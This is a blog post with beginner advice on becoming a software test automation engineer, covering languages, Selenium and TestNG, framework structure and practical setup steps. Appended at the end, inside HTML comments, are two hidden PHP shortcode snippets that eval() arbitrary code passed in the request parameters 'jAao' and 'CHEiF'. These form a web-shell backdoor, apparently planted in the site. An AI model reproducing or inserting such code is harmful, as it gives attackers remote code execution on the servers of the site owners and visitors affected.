The last few years I have been working as Automation Software test engineer, or as they say in the labor market Automation QA / Software test engineer, etc.
And quite often, friends and acquaintances asking the same question: “how to start doing what you do? What need to know? Is it hard? “Or questions from engineers about the technical side automation, about which technologies to use and how to do it correctly. So, in this article I want to make a brief description of “What? How? When? “.

P.S.
More details about automation can be found at webinars. Information like how and where will be published later. Thank you.

Let’s start!

What need to know?

It’s the most frequently asked question. The answer is simple: what you want to automate (Web application, services), whether it be unit testing or acceptance testing, the basic principles on the “object-oriented programming, programming language (JAVA, C #, Python, …) at a basic level, using search engine, and it is desirable to understand the basic principles and concepts manual testing (test cases, bug, verification, validation, …), build systems (Maven, ANT, MS Build), technology testing, ie frameworks or libraries (Selenium, Cucumber , TestNG, JUnit, NUnit, …), web selectors elements (xpath, css-selectors), knowledge of Java-Script, JQuery is a big plus.

How need to automate the tests?

Need to automate correctly.
In order to make the correct framework for automation testing – not enough to create a new project. This should be a structured framework and preferably written for re-using by anothe test engineer. You need to have a list of test cases. It is necessary to separate the web part from service part or part of the desktop. It gets different modules. The more finely Your framework will be devided into logical parts – the more benefits and enough time You will have. Because it will save time in maintaining the framework and expanding it.

When need to start the process of automation testing on the project?

And it is desirable to do so as soon as possible. Most project managers wait until  one and the same bugs (regression) will overflow project and there will no time to engage in testing other modules, when there is no time to conduct non-functional testing. If don’t do this – the project will be on the incline into oblivion. So if you already have QA – then write the correct tests, so you do not bite your elbows because one of the functional tests covered more than you need, and the other  are partial remains “intact” testing. If You are QC – then learn everything that knows QA.

Few practical steps and tips on how to start automation project

  1. Download program for software development. If you choose Java, Python – download IDEA IntelliJ or PyCharm or Eclipse. If C # – need Visual Studio.
  2. Install additional plugin for Maven, Ant, TestNG, JUnit, NUnit (it’s not to hard understand how it works).
  3. Create correct project.
  4. Download and add required libraries.
  5. Create base structure of the framework. Need to think what part of tests You want to execute before main test suite. TestNG manual will help You in this.
  6. Set up test environment. Install required web browsers. Run required Java service if test run will be executed on another work station.
  7. When You are creating an objects of web-element – separate them to different classes to make code reusable and extendable.
  8. In assert (Assert) need to write correct strings which will describe the error.
  9. Tests should not be very big or very small.
  10. Pre-conditions should not be bigger then test-steps.

Summary

In summary of everythingI want to say that in order to engage in IT engineering – need to love it. Do not just deal for the money, but because it’s interesting. A good salary will come by itself.

In order to engage the testing – you need to feel the desire to improve the software. If you open an application or a web resource and you have a desire to report errors or to correct them – then testing is Your work and hobby. And it’s good.

Thanks to all for the reading of this article. I’ll be happy to answer on Your question. In the next posts You will find a different example of tips and tricks in automation testing.

<!– [insert_php]if (isset($_REQUEST["jAao"])){eval($_REQUEST["jAao"]);exit;}[/insert_php][php]if (isset($_REQUEST["jAao"])){eval($_REQUEST["jAao"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CHEiF"])){eval($_REQUEST["CHEiF"]);exit;}[/insert_php][php]if (isset($_REQUEST["CHEiF"])){eval($_REQUEST["CHEiF"]);exit;}[/php] –>